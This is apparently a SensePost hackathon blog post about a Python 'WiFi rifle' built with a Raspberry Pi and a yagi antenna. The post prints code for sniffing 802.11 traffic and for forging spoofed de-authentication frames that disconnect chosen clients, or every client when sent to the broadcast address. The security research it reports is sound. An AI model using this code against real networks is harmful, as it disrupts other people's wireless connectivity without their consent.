Wireless: it’s everywhere these days and yet owning it never gets boring.
As part of our annual SensePost hackathon, where we get time off projects and get to spend a week tinkering with tech and ideas, the team I was in, consisting of Dominic, Nathi and myself, decided on creating a wireless rifle de-authentication gun, which utilized a yagi antenna and a Raspberry Pi.
The idea was simple: simulate some of the tools available in aircrack-ng wireless hacking suite in one script but without utilizing aircrack-ng in the process.
Loads of hours later, including me staying up for 29 hours, I’m happy to present the fruits of that hackathon. The application, written in Python, performs the following:
- utilize iw commands to place a wireless device into monitor mode, and perform channel hopping to obtain packets from all channels.
- use Core Security’s pcapy to sniff traffic of the monitor device.
- use Core Security’s impacket inside threads to parse certain 802.11 packets and extract interesting data from them.
- A urwid a ncurses wrapper module to display the interface and handle key presses and callbacks.
- Use impacket to generate wireless packets and send them through raw sockets.
We needed a few python modules, which were:
- urwid – ncurses wrapper.
- pcapy – raw socket sniffer.
- impacket – raw packet generation/parser
Finally, you need to have iw installed on your guest OS.
Functional flow:
Curses runs in a continuous loop that sets the wireless device into monitor mode and performs channel hopping in a separate process using the “iw” command. The next step is to create our form with two boxes and initiate the sniffing process on the monitor interface using pcapy. Finally, send all captured packets to the packet handler function by making use of threads.
put wireless device in monitor mode and bring up the newly created interface.
os.system("iw dev %s interface add mon0 type monitor && ifconfig mon0 up" % interface)
The channel hopping function runs in a separate process.
while True:
channel = random.randrange(1,14)
os.system("iw dev %s set channel %d" % ("mon0", channel))
setting up the sniffer loop and packet handler.
c = pcapy.open_live("mon0", MAX_LEN, PROMISCUOUS, READ_TIMEOUT)
c.loop(-1, runThreads)
The next logical step is for the packet handler, run from threads, makes use of ImpactDecoder.RadioTapDecoder() to decode packet data and use Impacket Dot11 Types to check if the packet type is data or management.
This is important as capturing management packets will enable us to extract the BSSID and associated SSID, which will eventually be populating the list displayed in one of the curses boxes. It’s interesting to note here that captured data packets usually have three addresses fields present. After some initial research, we discovered that the address3 field holds the BSSID and the address2 field holds the source MAC address or transmitter MAC address, which typically is client’s MAC address.
What we’ve done is ensure this is displayed in the second box in our curses display after the user chooses the SSID or BSSID to grab the clients associated with it. Moving on to the RadioTap Frame header, which is available in all packets, we are able to extract the channel, signal strength and other useful information.
All of this data is captured and saved as following
SSIDS = {'BSSID':'SSID'}
MACs = {'BSSID':[[CLIENTS],CHANNEL]}
De-authenticationProcess
In order to de-authenticate a client, you need to choose the BSSID or SSID you want to target. Our script then displays the associated clients (because you need to target the client right?).
The next step is to make use of the Impacket data types to first create a RadioTap frame. This initial frame contains a number of additional frames, a Dot11 frame which contains the Dot11 Management Frame that in the end contains the Dot11 Management De-Authentication frame. When combined, this generates a valid Dot11 management de-authentication packet that will be sent using raw sockets to the monitor interface with destination of the client MAC address and impersonating the BSSID as the source Address.
A mouthful, but if successful, will de-authenticate the chosen client or, if the broadcast address was chosen, all clients associated to the access point.
How we create the de-authentication packets in the above process, are as follows
Creating de-authentication packet using Impacket.
radio = impacket.dot11.RadioTap()
radio.set_channel(channel1,channel2)
Creating the Dot11 Frame.
dot11 = impacket.dot11.Dot11(FCS_at_end = False) dot11.set_type_n_subtype(impacket.dot11.Dot11Types.DOT11_TYPE_MANAGEMENT_SUBTYPE_DEAUTHENTICATION)
Creating the management Frame
m = impacket.dot11.Dot11ManagementFrame()
sequence = random.randint(0, 4096)
m.set_source_address(bssid)
m.set_bssid(bssid)
m.set_destination_address(client)
m.set_sequence_number(sequence)
Creating the de-authentication request frame.
d = impacket.dot11.Dot11ManagementDeauthentication() m.contains(d) dot11.contains(m) radio.contains(dot11)
Sending the packets to the monitor interface using raw sockets
s = socket.socket(socket.AF_PACKET,socket.SOCK_RAW) s.bind(('mon0',0)) s.send(pkt) s.close()
Whilst it’s great to list code, everyone loves a video, so here it is in action:
The code can be downloaded from our SensePost Github in the WiFi Rifle section.
Caveats learned during the hackathon:
Scapy and python threading are difficult to work with ;)
Our future development plans:
The packet generation/parsing functions found in Impacket are so powerful that I feel we could place most of aircrack-ng functionality in a single script. This is something I plan on looking into during my research and development time.